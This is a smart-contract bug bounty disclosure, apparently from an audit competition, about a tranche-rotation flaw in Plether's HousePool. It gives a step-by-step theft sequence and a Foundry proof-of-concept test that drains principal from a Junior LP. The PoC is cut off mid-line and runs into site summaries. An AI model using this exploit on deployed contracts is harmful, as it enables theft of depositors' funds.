Cross-tranche LP rotation captures a VPI clawback and shifts the later rebate loss to existing Junior LPs
The LP ownership accounting in the HousePool does not track who owns the signed lifetime VPI reserve across its delayed lifecycle, so a trader can rotate capital between the Senior and Junior tranches to capture a VPI rebate clawback as revenue and then exit before the offsetting loss lands. This lets the attacker realise a profit while an existing Junior LP absorbs a principal loss when the unrelated skewing trader later closes.
- Disclosed after under an hour
#97734 [SC-Critical] Cross-tranche LP rotation captures a VPI clawback and shifts the later rebate loss to existing Junior LPs
Submitted on Nov 2nd 2026 at 21:59:37 UTC by @nord0x for Audit Competition | Plether
- Report ID: #97734
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief / Intro
Plether treats VPI as realized action economics rather than marked price PnL. That separation is valid locally, but the LP ownership system does not preserve ownership across the delayed VPI lifecycle.
When an order heals skew, the pool immediately pays a negative-VPI rebate. The clearinghouse then locks an equal reserve against that trader's negative lifetime VPI. When the healing position closes, the lifetime clamp forces the rebate to be clawed back and the reserve is transferred into HousePool as current claimant revenue.
HousePool prices LP deposits and redemptions from physical pool assets, trader claims, and terminal price PnL. It does not include signed lifetime VPI or any separate action-economics ownership adjustment. Consequently, while Senior is unimpaired, whoever owns Junior when the reserve is returned receives the clawback, even though another open position can later execute a skew-reducing close that pays value back out of the pool.
An attacker can exploit this timing without materially changing pool depth:
- hold Senior while an unrelated trader creates skew and the attacker opens the healing position;
- rotate Senior capital into Junior before closing the healing position;
- close the healing position, causing its dedicated VPI reserve to enter HousePool and be allocated to current Junior owners;
- rotate back to Senior and redeem completely before the unrelated trader closes;
- leave the original Junior LP to absorb the later pool outflow.
In the PoC, every attacker top-up is counted as contributed capital. The attacker fully exits both vaults and withdraws its clearinghouse balance before the unrelated trader acts, leaving 166.135710 USDG profit in its wallet. The existing Junior LP later loses 317.368621 USDG of principal. The delayed trader close removes exactly 607.413895 USDG from HousePool and pays the same amount to that trader.
Vulnerability Details
1. LP equity omits the signed VPI lifecycle
TerminalNavBookV2.terminalNavSnapshot() commits only terminal price delta, trader claims, directional liability, mark data, and book status:
snapshot.hasOpenPositions = totalOpenInterest != 0;
uint256 markPrice = engine.lastMarkPrice();
uint64 markTime = engine.lastMarkTime();
...
if (snapshot.hasOpenPositions) {
snapshot.terminalLpPriceDeltaAssets = _terminalLpPriceDeltaAssetAtoms(uint32(markPrice));
}
snapshot.markPrice = uint32(markPrice);
snapshot.markTime = markTime;
snapshot.totalTraderClaimsAssets = engine.totalTraderClaimBalanceAssets();
snapshot.maxDirectionalLiabilityAssets = longMaxProfit > shortMaxProfit ? longMaxProfit : shortMaxProfit;
snapshot.bookVersion = _bookVersion;
snapshot.degradedMode = engine.degradedMode();
The HousePool input snapshot copies those fields and physical pool assets. It has no signed-VPI or VPI-reserve ownership field: CfdEngineProtocolLens.getHousePoolInputSnapshot().
HousePoolAccountingLib.buildReconcileSnapshot() therefore computes LP distributable value from only physical assets, trader claims, and terminal price PnL:
uint256 terminalAssets = engineSnapshot.physicalAssets;
uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets;
int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets;
if (terminalDelta >= 0) {
terminalAssets += uint256(terminalDelta);
} else {
terminalLiabilities += uint256(-(terminalDelta + 1)) + 1;
}
...
snapshot.distributable = terminalAssets - terminalLiabilities;
This report does not claim that VPI should be mixed into the terminal price-PnL curve. The missing invariant is LP ownership: the protocol realizes related VPI cash flows at different times but assigns each realized flow to whoever owns the tranches at that moment.
2. A negative-VPI rebate creates a real delayed clawback
The open planner makes a negative trade cost an immediate pool payout and sets the reserve target from the position's signed lifetime VPI: CfdEnginePlanLib.
delta.tradeCostAssets = openState.tradeCostAssets;
delta.poolRebatePayoutAssets = openState.tradeCostAssets < 0 ? uint256(-openState.tradeCostAssets) : 0;
...
delta.vpiRebateReserveAfterAssets =
_negativeVpiReserveTarget(effectiveSnap.position.vpiAccrued + openState.vpiAssets);
The production settlement path pays the rebate from HousePool and locks the reserve: CfdEngineSettlementSidecar.executeOpen().
if (delta.poolRebatePayoutAssets > 0) {
IHousePool(host.pool()).payOut(host.clearinghouse(), delta.poolRebatePayoutAssets);
}
...
if (delta.vpiRebateReserveAfterAssets > delta.vpiRebateReserveBeforeAssets) {
uint256 reserveIncreaseAssets = delta.vpiRebateReserveAfterAssets - delta.vpiRebateReserveBeforeAssets;
...
clearinghouse.lockVpiRebateReserve(delta.account, reserveFromFreeAssets);
}
On close, CloseAccountingLib.buildCloseState() clamps the closed slice's lifetime VPI so it cannot remain negative:
state.proportionalAccrualAssets =
(inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
...
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}
The close planner computes the mandatory clawback and marks the reserve as consumed: CfdEnginePlanLib._planCloseActionSettlement(). Settlement transfers that reserve to HousePool: CfdEngineSettlementSidecar._settleCloseActionCharge(), calling MarginClearinghouse.consumeVpiRebateReserve().
if (delta.vpiRebateReserveConsumedAssets > 0) {
clearinghouse.consumeVpiRebateReserve(
delta.account,
host.pool(),
delta.vpiRebateReserveConsumedAssets
);
}
vpiRebateReserveBalances[account] -= amountAssets;
reservedSettlementAssets[account] -= amountAssets;
settlementBalances[account] -= amountAssets;
IERC20(settlementAsset).safeTransfer(recipient, amountAssets);
So this reserve is not hypothetical collateral. It is real USDG that leaves HousePool on the rebate open and later returns to HousePool on the healer close.
3. The returned reserve becomes revenue for the current tranche owners
The planner explicitly includes the consumed VPI reserve in actionChargeCollectedAssets: CfdEnginePlanLib._planCloseCashSources().
delta.actionChargeCollectedAssets = delta.vpiRebateReserveConsumedAssets + delta.actionReserveConsumedAssets
+ freeConsumedAssets + delta.actionChargeFromReleasedMarginAssets
+ delta.actionCommittedMarginConsumedAssets;
After the reserve transfer, executeClose() includes that amount in cashArrivedRevenueAssets and records it as claimant revenue:
uint256 protocolFeeCreditedAssets = _settleCloseActionCharge(host, clearinghouse, delta);
uint256 cashArrivedRevenueAssets =
delta.pricePnlPledgeConsumedAssets + delta.actionChargeCollectedAssets - protocolFeeCreditedAssets;
if (cashArrivedRevenueAssets > 0) {
IHousePool(host.pool()).recordClaimantInflow(
cashArrivedRevenueAssets,
IHousePool.ClaimantInflowKind.Revenue,
IHousePool.ClaimantInflowCashMode.CashArrived
);
}
HousePool.recordClaimantInflow() increments accountedAssets. The next reconcile compares that enlarged distributable value against current Senior and Junior principal: HousePoolReconcilePlanLib.planReconcile(). Revenue is then allocated under the current waterfall:
HousePoolWaterfallAccountingLib.ReconcilePlan memory waterfallPlan =
HousePoolWaterfallAccountingLib.planReconcile(
plan.state.waterfall.seniorPrincipal,
plan.state.waterfall.juniorPrincipal,
distributableToClaims
);
if (waterfallPlan.isRevenue) {
plan.state.waterfall =
HousePoolWaterfallAccountingLib.distributeRevenue(plan.state.waterfall, waterfallPlan.deltaAssets);
}
distributeRevenue() restores impaired Senior principal and credits all remaining revenue to current Junior principal. Losses are Junior-first at lines 161-180.
4. LP epochs reconcile and price exits without the outstanding VPI ownership state
HousePool._settleLpEpoch() reconciles first, freezes current Senior/Junior principal as redemption pricing state, funds redemptions, and then prices deposits:
_reconcile(accountingSnapshot, statusSnapshot);
_checkpointEngineCarryIndexes();
juniorPhase.pricingPrincipal = juniorPrincipal;
juniorPhase.pricingSupply = _juniorShareSupply();
...
RedemptionPhase memory seniorPhase = RedemptionPhase({
pricingPrincipal: seniorPrincipal,
pricingSupply: _seniorShareSupply(),
...
});
...
juniorDepositPhase.pricingAssets = juniorPrincipal;
juniorDepositPhase.pricingSupply = _juniorShareSupply();
Because the reconcile snapshot has no VPI ownership adjustment, an LP can:
- enter Junior before a reserve clawback is reconciled as revenue;
- exit Junior after capturing it;
- enter or remain in Senior while later pool outflows remain outstanding;
- redeem before those outflows occur.
The one-hour cooldown and epoch process delay the rotations, but they do not bind the VPI lifecycle to one owner cohort. The PoC honors both delays.
Attack Sequence
The PoC starts with a 990,002-USDG pool: the attacker owns 590,000 USDG of Senior, the victim owns 400,000 USDG of Junior, and the active configuration's 1-USDG seed is present in each tranche. Senior is approximately 59.6% of the pool, below the active 80% limit.
- An unrelated trader opens a 390,000-unit SHORT, creating skew. The resulting 39.4% skew is below the active 40% maximum.
- The attacker opens a 390,000-unit LONG, healing the skew. The attacker's lifetime VPI is
-767.584668 USDG, backed one-for-one by the dedicated reserve. The unrelated trader's lifetime VPI remains+768.180266 USDG. - The attacker requests redemption of all Senior shares and an equal Junior deposit for the same LP epoch. Every temporary bridge top-up is counted as new attacker capital.
- The attacker closes the healing LONG. Its reserve is consumed into HousePool and reconciled while the attacker owns Junior.
- The attacker rotates the resulting Junior position back into Senior, then redeems all Senior shares.
- Before the unrelated trader closes, the attacker has zero vault shares and zero deferred trader claim, withdraws its entire clearinghouse balance, and holds
1,280,624.893067 USDGin its wallet against total contributed capital of1,280,458.757357 USDG: 166.135710 USDG realized profit. - The unrelated trader then closes. HousePool loses
607.413895 USDG, and the trader gains exactly607.413895 USDG. - The existing Junior LP redeems
399,682.631379 USDGfrom400,000 USDGprincipal: 317.368621 USDG direct principal loss.
The rotations do not materially manipulate the VPI denominator. Total pool depth drifts only 5.386631 USDG during the first rotation and 0.000006 USDG during the second, against roughly 990,000 USDG of pool capital.
The matched control uses the same positions, prices, initial LP allocation, two async redeem/deposit cycles, LP settlement epochs, bridge-capital accounting, and close ordering, but keeps the attacker entirely in Senior:
- attacker result: 281.850577 USDG loss;
- existing Junior result: 130.616545 USDG gain.
The ownership-rotation path swings the attacker's result by +447.986287 USDG and the existing Junior LP's result by -447.985166 USDG. The control also redeems the attacker before the unrelated trader closes, so same-tranche rollover and early Senior exit do not create the profit. This isolates the exploit from ordinary trading PnL, execution fees, carry, elapsed time, epoch settlement cadence, bridge capital, and exit ordering.
Impact
This is direct theft of user principal, not unclaimed yield:
- the attacker fully exits LP ownership and withdraws its clearinghouse balance, leaving wallet-held USDG above its aggregate contributed capital, including bridge top-ups;
- the attacker has no LP exposure when the delayed pool outflow occurs;
- the existing Junior LP later redeems less USDG than deposited;
- all positions and requests complete normally, so the loss is not a temporary accounting display;
- no owner, guardian, oracle, or keeper privilege is required.
The demonstrated execution produces 166.135710 USDG of realized attacker profit above all attacker-contributed capital and causes an existing Junior LP to redeem 317.368621 USDG below principal. It maps directly to the competition's Critical row: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield.
The attacker does not need control of the skewing trader. The attacker's profit is fully realized and withdrawn while that trader's position remains open; the trader's later ordinary close only realizes the outstanding VPI exposure against the LP cohort left behind.
Production / Scope
The frozen competition scope includes all production contracts and libraries under packages/perps/src, including every root-cause and sink file cited above.
The repository's active Arbitrum Sepolia v2.0.0 release manifest identifies source commit 1209ca8a5b94a4fb6323c7c4585846ed93db3932. There is no production-source difference between that release and the competition commit:
git diff --name-only \
1209ca8a5b94a4fb6323c7c4585846ed93db3932 \
a82d4fefb02768e5b3bddcc97dee371eee24fea8 \
-- packages/perps/src
# no output
The active release economics use the same values as the PoC:
- 1% VPI factor;
- 40% maximum skew ratio;
- 10/20/300-bps maintenance/initial/FAD margins;
- 500-bps base carry;
- 4-bps execution fee;
- 40,000,000-USDG Senior exposure cap;
- 80% maximum Senior share;
- 1-USDG seed deposit in each tranche.
The attack uses the public OrderRouter.commitOrder/executeOrder, public vault request methods, public vault claim methods, and public OrderRouter.settleLpEpoch.
The setup performs the same trusted initialization required for deployment, mocks only the USDG token and Pyth delivery, and replaces the repository fixture's deliberately loose Senior test limits with the active 40,000,000 USDG / 80% values through HousePool's real delayed propose/finalize path. The fixture deploys LegacyOrderRouterHarness, but this PoC calls only inherited production V3 functions; its test-only scalar order adapter is never invoked. The Pyth mock uses two equal-price basket components instead of the active six components and advances one second/block per fresh update. Because every update keeps the basket mark at exactly 1.00 USD, neither simplification creates the VPI ownership mismatch. Longer vm.warp calls honor the production one-hour cooldown, hourly epoch boundaries, and 72-hour Senior-limit delay; no timestamp check is bypassed. The exploit itself uses only public user calls. It does not modify production code, write storage directly, lower resource limits, use a nonstandard token callback, or impersonate a privileged caller.
Proof of Concept
Proof of Concept
Requirements
- Git
- Foundry
1.5.1-stable(the version pinned by the release manifest) - Solidity
0.8.35is selected by the project
From a clean checkout:
git clone --recursive https://github.com/immunefi-team/audit-comp-plether.git
cd audit-comp-plether
git checkout a82d4fefb02768e5b3bddcc97dee371eee24fea8
git submodule update --init --recursive
Create packages/perps/test/perps/differential/AuditVpiCrossTrancheOwnership.t.sol with the following exact contents:
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {HousePoolAsyncTestBase} from "../shared/HousePoolTestBase.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
contract AuditVpiCrossTrancheOwnershipTest is HousePoolAsyncTestBase {
address private constant ATTACKER = address(0xA771);
address private constant VICTIM_TRADER = address(0x71C7);
address private constant VICTIM_LP = address(0xBEEF);
function setUp() public override {
super.setUp();
_setSeniorCapacity(40_000_000e6, 8000);
assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "active Senior exposure cap must be installed");
assertEq(pool.maxSeniorShareBps(), 8000, "active Senior share cap must be installed");
}
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory params) {
params = CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
return 1e6;
}
function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
return 1e6;
}
function test_ExploitCrossTrancheRotationCapturesClawbackAndLeavesRebateLoss() public {
uint256 positionSize = 390_000e18;
uint256 traderCapital = 100_000e6;
uint256 attackerSeniorCapital = 590_000e6;
uint256 victimJuniorCapital = 400_000e6;
uint256 victimShares = _deposit(juniorVault, VICTIM_LP, victimJuniorCapital);
uint256 attackerSeniorShares = _deposit(seniorVault, ATTACKER, attackerSeniorCapital);
_fundTrader(VICTIM_TRADER, traderCapital);
_fundTrader(ATTACKER, traderCapital);
// Victim creates short skew; attacker heals it and receives the paired provisional rebate.
_executeOrder(VICTIM_TRADER, CfdTypes.Side.SHORT, positionSize, 20_000e6, false);
_executeOrder(ATTACKER, CfdTypes.Side.LONG, positionSize, 20_000e6, false);
(,,,,,, int256 victimLifetimeVpi) = engine.positions(VICTIM_TRADER);
(,,,,,, int256 attackerLifetimeVpi) = engine.positions(ATTACKER);
uint256 attackerRebateReserve = clearinghouse.vpiRebateReserveAssets(ATTACKER);
assertGt(victimLifetimeVpi, 0, "skewing position must owe positive lifetime VPI");
assertLt(attackerLifetimeVpi, 0, "healing position must retain negative lifetime VPI");
assertEq(
attackerRebateReserve, uint256(-attackerLifetimeVpi), "negative lifetime VPI must be backed one-for-one"
);
// Move from Senior to Junior without materially changing pool depth. Junior now owns the clawback.
uint256 poolDepthBeforeFirstRotation = pool.totalAssets();
(uint256 attackerJuniorShares, uint256 firstRotationAssets, uint256 firstRotationTopUp) =
_rotateTranche(ATTACKER, seniorVault, juniorVault, attackerSeniorShares);
uint256 firstRotationDepthDrift = _absoluteDifference(pool.totalAssets(), poolDepthBeforeFirstRotation);
assertLe(firstRotationDepthDrift, 10e6, "first rotation changed pool depth beyond carry drift");
// Closing the healer consumes its reserve into the pool as current LP revenue.
_executeOrder(ATTACKER, CfdTypes.Side.LONG, positionSize, 0, true);
assertEq(clearinghouse.vpiRebateReserveAssets(ATTACKER), 0, "close must consume the rebate reserve");
(,,,,,, int256 victimVpiAfterClawback) = engine.positions(VICTIM_TRADER);
assertEq(victimVpiAfterClawback, victimLifetimeVpi, "the offsetting positive VPI must remain outstanding");
// Move back to Senior before the outstanding position realizes its skew-reducing close rebate.
uint256 poolDepthBeforeSecondRotation = pool.totalAssets();
(uint256 attackerSeniorSharesAfter, uint256 secondRotationAssets, uint256 secondRotationTopUp) =
_rotateTranche(ATTACKER, juniorVault, seniorVault, attackerJuniorShares);
uint256 secondRotationDepthDrift = _absoluteDifference(pool.totalAssets(), poolDepthBeforeSecondRotation);
assertLe(secondRotationDepthDrift, 10e6, "second rotation changed pool depth beyond carry drift");
(, uint256 attackerFundedShares, uint256 attackerSeniorRedeemedAssets) =
_redeem(seniorVault, ATTACKER, attackerSeniorSharesAfter);
assertEq(attackerFundedShares, attackerSeniorSharesAfter, "attacker redemption must fund fully");
assertEq(seniorVault.balanceOf(ATTACKER), 0, "attacker must exit Senior completely");
assertEq(juniorVault.balanceOf(ATTACKER), 0, "attacker must exit Junior completely");
assertEq(engine.traderClaimBalanceAssets(ATTACKER), 0, "attacker wealth must not depend on a deferred claim");
uint256 attackerClearinghouseAssets = clearinghouse.balanceAssets(ATTACKER);
vm.prank(ATTACKER);
clearinghouse.withdraw(ATTACKER, attackerClearinghouseAssets);
assertEq(clearinghouse.balanceAssets(ATTACKER), 0, "attacker margin must be fully withdrawable");
uint256 attackerFinalWealth = settlementToken.balanceOf(ATTACKER);
uint256 attackerContributedCapital =
traderCapital + attackerSeniorCapital + firstRotationTopUp + secondRotationTopUp;
assertGt(attackerFinalWealth, attackerContributedCapital, "attacker must exit with realized profit");
// The victim trader closes only after the attacker has exited; Junior bears the delayed rebate loss.
uint256 poolAssetsBeforeDelayedClose = pool.totalAssets();
uint256 victimTraderWealthBeforeClose = _accountWealth(VICTIM_TRADER);
_executeOrder(VICTIM_TRADER, CfdTypes.Side.SHORT, positionSize, 0, true);
uint256 poolAssetsAfterDelayedClose = pool.totalAssets();
uint256 victimTraderWealthAfterClose = _accountWealth(VICTIM_TRADER);
assertLt(poolAssetsAfterDelayedClose, poolAssetsBeforeDelayedClose, "delayed close must remove pool assets");
assertGt(victimTraderWealthAfterClose, victimTraderWealthBeforeClose, "delayed close must pay the trader");
(, uint256 victimFundedShares, uint256 victimRedeemedAssets) = _redeem(juniorVault, VICTIM_LP, victimShares);
assertEq(victimFundedShares, victimShares, "victim redemption must fund fully");
emit log_named_uint("skewing position lifetime VPI", uint256(victimLifetimeVpi));
emit log_named_uint("healing position rebate reserve", attackerRebateReserve);
emit log_named_uint("first rotation assets", firstRotationAssets);
emit log_named_uint("second rotation assets", secondRotationAssets);
emit log_named_uint("first bridge capital", firstRotationTopUp);
emit log_named_uint("second bridge top-up", secondRotationTopUp);
emit log_named_uint("first rotation depth drift", firstRotationDepthDrift);
emit log_named_uint("second rotation depth drift", secondRotationDepthDrift);
emit log_named_uint("final senior redemption", attackerSeniorRedeemedAssets);
emit log_named_uint("attacker final wealth", attackerFinalWealth);
emit log_named_uint("attacker contributed capital", attackerContributedCapital);
emit log_named_uint("attacker net profit", attackerFinalWealth - attackerContributedCapital);
emit log_named_uint("delayed close pool outflow", poolAssetsBeforeDelayedClose - poolAssetsAfterDelayedClose);
emit log_named_uint("delayed close trader payout", victimTraderWealthAfterClose - victimTraderWealthBeforeClose);
emit log_named_uint("victim initial capital", victimJuniorCapital);
emit log_named_uint("victim redemption", victimRedeemedAssets);
emit log_named_uint("victim principal loss", victimJuniorCapital - victimRedeemedAssets);
assertLt(victimRedeemedAssets, victimJuniorCapital, "Junior LP must lose principal");
}
function test_ControlSameLifecycleWithoutRotationLosesMoney() public {
uint256 positionSize = 390_000e18;
uint256 traderCapital = 100_000e6;
uint256 attackerSeniorCapital = 590_000e6;
uint256 victimJuniorCapital = 400_000e6;
uint256 victimShares = _deposit(juniorVault, VICTIM_LP, victimJuniorCapital);
uint256 attackerSeniorShares = _deposit(seniorVault, ATTACKER, attackerSeniorCapital);
_fundTrader(VICTIM_TRADER, traderCapital);
_fundTrader(ATTACKER, traderCapital);
_executeOrder(VICTIM_TRADER, CfdTypes.Side.SHORT, positionSize, 20_000e6, false);
_executeOrder(ATTACKER, CfdTypes.Side.LONG, positionSize, 20_000e6, false);
// Match the exploit's first async cycle but keep all ownership in Senior.
(uint256 attackerSeniorSharesAfterFirstCycle,, uint256 firstControlTopUp) =
_rotateTranche(ATTACKER, seniorVault, seniorVault, attackerSeniorShares);
_executeOrder(ATTACKER, CfdTypes.Side.LONG, positionSize, 0, true);
// Match the second async cycle, again without crossing tranche ownership.
(uint256 attackerSeniorSharesAfterSecondCycle,, uint256 secondControlTopUp) =
_rotateTranche(ATTACKER, seniorVault, seniorVault, attackerSeniorSharesAfterFirstCycle);
(, uint256 attackerFundedShares, uint256 attackerSeniorRedeemedAssets) =
_redeem(seniorVault, ATTACKER, attackerSeniorSharesAfterSecondCycle);
assertEq(attackerFundedShares, attackerSeniorSharesAfterSecondCycle, "control redemption must fund fully");
assertEq(seniorVault.balanceOf(ATTACKER), 0, "control attacker must exit Senior completely");
assertEq(juniorVault.balanceOf(ATTACKER), 0, "control attacker must not own
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the HousePool equity snapshot omits signed lifetime VPI and any VPI-reserve ownership adjustment, so realised VPI cash flows are assigned to whoever owns the tranches at settlement time rather than to the cohort that bore the exposure.
Impact
The attacker realises and withdraws a profit above contributed capital while an existing Junior LP later redeems below principal, though the exploit depends on the one-hour cooldown and epoch delays being honoured and on an unrelated trader's position remaining open.
What the attacker needed
Attacker holds Senior capital; an unrelated trader opens a skewing position; attacker opens the healing position; one-hour cooldown and epoch delays honoured
The fix
The LP equity and epoch pricing should account for outstanding signed lifetime VPI and VPI-reserve ownership so that realised VPI cash flows are attributed to the cohort that bore the exposure.
How it was found
- An unrelated trader opens a short that creates skew, and the attacker opens an equal long that heals it, receiving a negative-VPI rebate backed by a locked reserve.
- The attacker requests redemption of all Senior shares and an equal Junior deposit in the same LP epoch.
- The attacker closes the healing long, consuming the reserve into HousePool as revenue while the attacker owns Junior.
- The attacker rotates the Junior position back into Senior and redeems all Senior shares.
- Before the unrelated trader closes, the attacker holds no vault shares and withdraws its clearinghouse balance at a profit.
- The unrelated trader closes, removing funds from HousePool, and the existing Junior LP later redeems below principal.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The pool has two layers of investors, Senior and Junior, and it pays out a rebate when a trade reduces imbalance, then takes that rebate back later when the trade closes. The accounting only credits whoever owns the Junior layer at the moment the money comes back, not whoever was exposed when it was paid out. By switching layers at the right times, an attacker collects the returned money and leaves before the matching loss is charged to the pool.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.